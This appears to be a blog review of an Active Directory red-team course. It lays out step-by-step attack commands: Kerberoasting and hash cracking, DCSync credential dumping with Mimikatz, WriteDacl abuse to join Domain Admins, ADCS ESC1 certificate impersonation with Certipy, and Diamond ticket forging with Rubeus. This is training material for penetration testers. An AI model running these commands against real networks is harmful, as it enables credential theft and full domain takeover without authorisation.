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Introduction
Active Directory (AD) serves as the digital backbone for most enterprises, but its central role also makes it the number one target in cyberattacks. To effectively defend an organization, security professionals must think like an adversary, mastering the real-world attack chains that lead to full domain compromise. This advanced training provides the hands-on, professional-grade skills needed to excel in red team operations and pass elite certifications.
Learning Objectives
By the end of this training, participants will be able to:
– Execute a Complete Attack Chain: Conduct every phase of an AD penetration test, from initial enumeration and exploitation to lateral movement and establishing persistence.
– Master Advanced Attack Techniques: Expertly abuse core AD components, including Kerberos authentication, DACLs, and Certificate Services, to escalate privileges and bypass defenses.
– Utilize a Professional Tool Arsenal: Confidently operate a wide range of industry-standard tools on both Windows and Linux platforms.
You Should Know
1. Attack Planning and Environmental Reconnaissance
Before any exploitation, a thorough understanding of the target environment is critical. This initial phase involves identifying the domain structure, users, groups, computers, and, most importantly, existing misconfigurations and security holes.
Step‑by‑step guide:
- Step 1: Enumerate AD with BloodHound (Windows). This tool maps attack paths.
Run SharpHound to collect data .\SharpHound.exe -c All --domaindomain_name --outputdirectory C:\Data
- Step 2: Use BloodHound (Linux). After importing data, you can query for high-value targets.
BloodHound's Neo4j interface allows you to find specific attack paths MATCH p = (u:User)-[:MemberOf]->(g:Group) WHERE g.name = 'DOMAIN [email protected]' RETURN p
- Step 3: Enumerate with `netexec` (Linux). This tool is a modern, faster successor to CrackMapExec for verifying findings.
Enumerate logged-on users and sessions netexec smb 192.168.1.10 -u 'low_priv_user' -p 'Password123' --sessions
2. Initial Exploitation and Gaining a Foothold
Once reconnaissance is complete, the next phase is to exploit an initial vulnerability. The course covers modern techniques to move from a standard user to controlling a privileged account.
Step‑by‑step guide:
- Step 1: Perform a Kerberoasting Attack. This classic technique targets service accounts.
Using Impacket's GetUserSPNs on Linux sudo python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 example.local/low_priv_user
- Step 2: Crack the Retrieved Hash.
Use Hashcat to crack the Kerberos 5 TGS-REP hash (mode 13100) hashcat -m 13100 -a 0 kerberoast_hash.txt rockyou.txt
3. Advanced Credential Dumping and Domain Dominance
After obtaining high privileges, the goal is to extract as many credentials as possible without being detected, ultimately leading to full control over the domain.
Step‑by‑step guide:
- Step 1: Execute a DCSync Attack (Mimikatz). This is a powerful, non-interactive method to pull password data directly from a Domain Controller (DC) by simulating replication.
On a Windows machine with DA privileges mimikatz lsadump::dcsync /domain:example.local /user:krbtgt
- Step 2: Extract hashes for offline cracking or for use in pass‑the‑hash attacks. This output includes the all-important `krbtgt` hash, which is the key to the kingdom.
4. Abusing ACLs: The WriteDacl Attack
Many organizations overlook the security of their Access Control Lists (ACLs). The WriteDacl permission is a common and dangerous misconfiguration that allows an attacker to grant themselves full control over an object.
Step‑by‑step guide:
- Step 1: Identify WriteDacl permissions with BloodHound. Use BloodHound’s built-in queries to find users or groups with `WriteDacl` rights over high-value targets (e.g., Domain Admins).
- Step 2: Exploit WriteDacl with `bloodyAD` (Linux). This Python-based tool interacts with AD via LDAP.
Grant full control (GenericAll) to the current user on the target bloodyAD --host 192.168.1.10 -d example.local -u attack_user -p 'Password123' set object_acl <target_da_user> attack_user:GenericAll
- Step 3: Add yourself to the Domain Admins group. Now that you have full control, you can directly manipulate group membership.
Add your user to the Domain Admins group bloodyAD --host 192.168.1.10 -d example.local -u attack_user -p 'Password123' add groupMember "Domain Admins" attack_user
5. Exploiting AD Certificate Services (ADCS)
ADCS is a powerful but often misconfigured Windows Server role. ESC1, one of the most famous techniques, allows a low-privileged user to request a certificate that impersonates a highly privileged account.
Step‑by‑step guide:
- Step 1: Enumerate for ADCS vulnerabilities using
Certipy. This Python tool is the industry standard for auditing ADCS. The `find` command will automatically check for known ESC vulnerabilities.certipy find -u '[email protected]' -p 'Password123' -dc-ip 192.168.1.10 -vulnerable
- Step 2: Exploit ESC1 to request a certificate for a Domain Admin.
certipy req -u '[email protected]' -p 'Password123' -ca 'EXAMPLE-CA' -template 'VulnerableTemplate' -upn '[email protected]' -dc-ip 192.168.1.10
- Step 3: Authenticate using the obtained certificate. The certificate can be used for authentication with tools like `PassTheCert` or
Certipy auth.certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
6. Forging Diamond and Sapphire Tickets
Modern attacks like the Diamond and Sapphire tickets have supplanted the classic Golden Ticket. Instead of forging a ticket from scratch (which is easier to detect), they modify a legitimate ticket to elevate privileges.
Step‑by‑step guide:
- Step 1: Obtain the `krbtgt` AES256 hash. This hash is required to decrypt and re-encrypt TGTs.
mimikatz lsadump::dcsync /domain:example.local /user:krbtgt /aes
- Step 2: Forge a Diamond Ticket using the `Rubeus` tool. Rubeus is a C toolset for raw Kerberos interaction. The following command will request a TGT for a low-priv user and then modify it to include high-privilege groups.
Rubeus.exe diamond /krbkey:<krbtgt_aes256_hash> /user:lowprivuser /password:Password123 /enctype:aes256 /dc:dc.example.local /nowrap /groups:512
- Step 3: Load the ticket into your current session. With the forged ticket, you can now access any resource in the domain as if you were a Domain Admin.
What Undercode Say:
- Key Takeaway 1: Modern AD attacks are not about single “magic” exploits; they are about chaining together multiple low‑severity misconfigurations (like an overly permissive ACL with a vulnerable certificate template). The training correctly focuses on these complex, multi‑step attack paths rather than just individual tools.
- Key Takeaway 2: The inclusion of `Diamond/Sapphire` tickets and ADCS `ESC` attacks is crucial. These are the techniques being used by advanced persistent threats right now to evade detection. A course that only teaches Golden Tickets is outdated; this curriculum is current.
The course strikes an excellent balance between Windows-1ative tools (PowerView, Mimikatz) and Linux-based tools (Impacket, bloodyAD). This cross‑platform proficiency is exactly what real‑world red teams need. The hands‑on approach, with a dedicated lab, is non‑negotiable for mastering these concepts. However, the challenge for learners will be building the mental map to see the “attack graph” from an initial foothold to domain admin, a skill that only comes from repeated practice. The Blue Team side—detecting these attacks—is briefly noted but could be expanded in future iterations.
Prediction:
- +1: As organizations continue to migrate to the cloud, hybrid AD environments will become the new primary attack vector. Mastering on‑premises AD penetration testing is the essential prerequisite for understanding and securing these complex, mixed environments.
- +1: The demand for professionals who can manually discover and exploit these specific misconfigurations will skyrocket as automated scanners become less effective at understanding context and business logic.
- -1: The security community will see a surge in automated tooling that bundles these new `Sapphire/Diamond` ticket and ADCS attacks, lowering the technical barrier to entry for less-skilled attackers and increasing the frequency of these incidents.
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